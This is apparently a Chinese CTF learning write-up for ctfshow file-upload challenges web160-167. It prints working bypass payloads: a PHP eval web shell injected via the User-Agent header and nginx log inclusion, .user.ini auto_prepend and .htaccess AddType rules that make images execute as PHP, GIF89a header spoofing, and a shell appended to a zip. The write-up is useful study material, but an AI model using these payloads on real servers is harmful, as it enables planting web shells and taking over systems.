文件上传学习 web160-167
文件上传学习2
edited by twi1igh7
web160
这道题也是有点奇怪,明明是内容被过滤了,结果给我显示上传文件文件类型不合规
这道题应该是把空格和反引号都ban了,那之前的打法都out了,看了wp,发现可以用日志包含(和文件包含联动了hh)
我们先写.user.ini
1 | auto_prepend=shell.png |
nginx的日志文件在/var/log/nginx/access.log下,然后再写图片马
1 | include"/var/l"."og/nginx/access.l"."og" |
最后我们需要修改UA头来访问一次,让服务器记住我们的UA头:
1 | <?php @eval($_POST['cmd']);?> |
最后蚁剑连接即可
小结
这里逻辑跨度可能有点大,重新梳理一下攻击链:我们先用修改后的UA访问一次,服务器记录了我们的UA->我们访问/var/www/html/upload目录->系统会自动解析.user.ini->.user.ini会执行图片马shell.png->图片马会文件包含日志/var/log/nginx/access.log->会执行日志文件中的php代码,也就是UA那段shell
太优雅了
web161
这道题上传.user.ini都失败了,看了wp发现要将文件头改成GIF89a伪造成gif图才能上传
然后上传图片马,当然也需要加上gif头
1 | GIF89a |
我们这时候访问/upload/如果能看到目录,就说明攻击链完成了
蚁剑连接即可
小结
gif文件头为
1 | GIF89a |
web162-163
这道题把.给ban了
这里开始考条件竞争了,之前学文件包含的时候因为环境只在半夜开放就没有学条件竞争,这里学一下吧
参考这篇文章CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客
1 | 我用我的话来理解一下条件竞争吧: |
但是不知道为什么我用大佬的脚本跑不出来,可能是校园网ban了,加上手机热点被限速了,脚本就先不跑了
这两道题先跳过吧
web166
这道题只能上传zip文件
我们先正常找一个zip文件,然后再文件末尾写入一句话木马
我们先正常上传这个木马zip,然后点击下载文件抓包
修改请求方式为POST,然后正常POST传参即可,记得空格要url编码
web167
这道题是apache服务器了,要用.htaccess文件,作用类似于.user.ini文件,就是将一个不是php的文件作为php文件来解析
写.htaccess文件
1 | AddType application/x-httpd-php .jpg |
或者
1 | <FilesMatch "shell3.jpg"> |
我们先改成.htaccess.jpg,然后再上传抓包改后缀为.htaccess,然后再写图片马
1 | <?php @eval($_POST['cmd']);?> |
上传图片马后点击下载文件就跳转到了/upload/shell3.jpg,用蚁剑连接即可获取flag
小结
这道题用了.htaccess配置文件,实质和.user.ini的作用差不多,都是让非php文件被当成php文件来解析。但是.htaccess是apache下的,.user.ini是nginx下的
.htaccess配置文件写法:
1 | AddType application/x-httpd-php .jpg |
或者写成:
1 | <FilesMatch "shell3.jpg"> |
结语
条件竞争剩了两道题,后面还有三道免杀的,今天就做到这里吧。一会儿去buu或者nss找点题来练练手hhh









